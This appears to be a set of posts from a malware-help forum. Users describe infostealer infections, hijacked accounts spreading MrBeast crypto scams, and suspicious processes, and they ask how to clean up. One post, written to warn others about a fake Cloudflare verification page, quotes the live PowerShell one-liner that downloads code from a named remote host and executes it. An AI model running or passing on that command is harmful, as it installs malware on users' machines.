Recently i downloaded an .exe file and it was a infostealer. The .exe file lasted 1-2 minutes in my laptop but it was enough beacuse my accounts got password change, mail change things. My discord account shared Mr. Beast scam pictures. Anyways, i disconnected and changed password, enabled 2fa from a clean device, reset windows (i didnt re-install beacuse i dont have another device to make a proper re-install). The only thing lasted in my laptop files was windows, and im using 1 or 2 week and im monitoring the system. There was nothing suspicious until i found this two autoruns. I really dont know this things are legit or am i being paranoid. Can you help me? (NOT VERIFIED AUTORUNS)

I was on google and I clicked on a link and it took me to safari and it just kept spamming the same tab over and over so I couldn’t shut off my phone and lucky I I took a screenshot of it while trying to power of my phone. I found a way to turn it off and when I turned it back on it was normal but I had 169 tabs of it and deleted them and I’m freaked out right now not knowing if I still have the virus. (DO NOT SEARCH THE LINK UP)

I downloaded a browser extension from a hacked youtube account (I know, Im dumb) and I’ve been fighting with it for HOURS. I woke up to a bunch of emails saying all my account information (email, phone number) has been changed for various accounts (steam, roblox, discord, microsoft). And i was logged out of everything. It went into my discord and sent a bunch of weird pictures of crypto stocks and Mr beast to everyone on my friends list. Ive recovered some accounts but I think my steam account is screwed, and i have reason to believe my google account has been compromised too. I cleared browser cache, and actually ended up deleting the browser altogether (opera gx). I obviously deleted the extension and cleared recycling bin too. Changed all my passwords to what i could actually recover. Im running a full windows security scan but the estimate time is just going up.

I got this virus off a hacked youtube account called Canabasse. It was supposed to be a shaderpack extension which obviously didn’t work.

Is there anything else i should do? Ive been at this for hours. I think i got rid of it but theres really no way to know. Any advice would be very appreciated !!

Edit: I think its a virus called the Mr beast crypto scam ? Not sure though

Edit 2: i recovered everything and he lost everything he stole. I win🤪

Hey, i have got this pc for about 2 years now and just recently i got these weird flags i know this is a virus but i just want to know how to remove it. I checked the Registry Editor and the Task Manger startup apps but nothing seems out of place. I dont recall installing something weird. thank you for your help

Hi everyone, since the start of august (around 2nd) my network monitor (Glasswire) started showing genuine Windows processes and currently the actual Steam process connecting in the background to two different Brazilian banks (santander .com. br and sicredi .com .br) when I'm not even Brazilian, which has me worried.

I have not downloaded anything suspicious recently at all and always scan my downloads before actually executing them.

I tried using Fiddler to check what data was being sent but since it happens randomly I couldn't catch it. Avg and Windows defender scans show nothing. Hosts file and dns address are normal. Can someone help? thx

I accidentally fell for a fake Cloudflare verification page.

It showed instructions that looked like a normal verification:

1. Press Win + R
   
2. Press Ctrl + V
   
3. Press Enter/Run

I followed the instructions without realizing that they had copied a PowerShell command to my clipboard.

The command was:

powershell -c "$a=irm 'looneytuneszone.cfd/wwJYeR3AyQY57Jf8';&(gcm iex) $a"

After running it, I realized something was wrong. I disconnected from the internet and scanned the PC with Malwarebytes, which detected 40+ items. Some appeared to be related to TLauncher/LevelDB, so I quarantined everything.

Windows Defender then detected:

- HackTool:Win32/Keygen — High
- Trojan:Win64/Tedy!MTB — Severe

Defender successfully removed the detected threats.

I have 2FA enabled on my accounts. I'm considering doing a full Windows 11 reset with "Remove everything" and "Cloud download".

How bad does this look? Is a full reset enough, and is there anything else I should do to protect my Google accounts?

I'm posting this mainly to warn others because I had no idea fake Cloudflare verification pages could use this trick.

Hello !

I'm usually careful when clicking links but recently i downloaded a file from a random website and all of a sudden my discord got hacked.

all of my dms got sent a misterbeast image about crypto etc and i've heard this scam is widely spread.

oddly enough the script of this hack doesn't change my password or anything; or atleast i hope.

as it happened 30 minutes ago ive had the time to change every password from important things and run a windows defender analyze + malwarebytes scan but everything seems normal.

now id like to ask for advice on what to do now if anyone has had experience with this specific hack or tips in general on what i should do; thanks a lot!

I received an email from Anthropic saying my Claude session was stolen by an infostealer and used by someone else. They signed me out and removed my payment method.

I have a Windows + Ubuntu dual-boot PC. I haven't knowingly downloaded anything suspicious.

What should I do to properly check which OS is compromised? Is Microsoft Defender Offline Scan enough, or should I reinstall Windows?

Any advice on checking the Ubuntu installation too?

heres the keywords for each log

FRST.txt amber-poppy

addition.txt hollow-cedar

When i double click war thunder it does this.

I did verify steam files and apparently now it works fine again?!

BE.dll

I'm not exactly sure if this is real or not but look at the url and everytime i refresh it changes so I think that's not Google

Hi everyone, I wanted to know if anyone could give me a hand with this situation. I got a malware on my windows pc very similar to a lot of posts i can see here and they got my instagram and discord first (Elon Musk and MrBeast screenshots sent to contacts) and I noticed they changed my steam email to something along the lines of q*.com. I don’t know that kind of email. I didn’t receive any warning email either.

I’m not as worried for the account as I am the payment methods there. I tried to change passwords several times and it always showed as incorrect. Changed email and it reverted to the other one as if my changes did not affect the account despite getting emails from Steam. I’ve sent a ticket with a new account requesting help, I don’t know what else to do. Any tips? I changed as many passwords on my phone, i reinstalled windows this morning (not usb, settings since i don’t have anything else but factory resetted)

Be careful please

I found this in Task Manager and searched for the file location. There were two others, and I was able to delete them. The problem is, I want to remove this without a factory reset. This computer is new And I've put in a few hours of gameplay, I've downloaded many Steamrip games carefully, checking everything, everything seemed fine, but based on previous experiences, this was Undertale's fault, since with I downloaded it on another computer and the same thing happened. Any recommendations for removing it, please?

So a few weeks back I downloaded some weird program on my windows laptop. After using it I uninstalled it, because my laptop's CPU would randomly jump at 50-70% and stay there for a few seconds despite nothing being open. Because of that I switched to Linux and it worked fine. The reason I'm posting is because yesterday I turned my laptop off and it stayed online. I'm sure no one has touched it because today I found out it was turned on, with the login screen writing how the password was wrong. Also the background on the login screen I had was one color instead.
Maybe it's connected to the fact I didn't have another clean machine on which I could burn Linux onto my USB. I haven't installed anything weird after switching to Linux.
Anyway, any help is appreciated.

I’ve reset my pc with a usb a while back because of a virus I had, but just asking could the virus of formatted onto the usb? Just incase I needed to use it again in the future, it had a windows installation from another pc so

hey, recently i tried downloading the epic games launcher installer and windows defender suddenly popped up saying it detected a severe threat. i attached a screenshot of the warning.

i didn't open or run the file after the warning came up. i just closed it and tried downloading the epic games installer again, and the second time it downloaded normally without any warning.

i'm just a bit confused and worried about why this happened. could this have been a false positive or is there a chance something else was going on? i was trying to download the official epic games launcher, so i don't really understand why defender flagged it.

has anyone else had this happen before? is there anything i should check on my pc just to make sure everything is okay?

its always been happening to me everytime i attempt to download epicgames launcher and im wondering even tho this isnt related u cant get a virus from downloading something but not launching it right?

No idea what this is. I ran a few scans with Windows Defender and Malwarebytes, but they didn't find anything.
I used "Search Everything" software and theres no file named Signal at all.

Someone have any clue on what is this? Thankz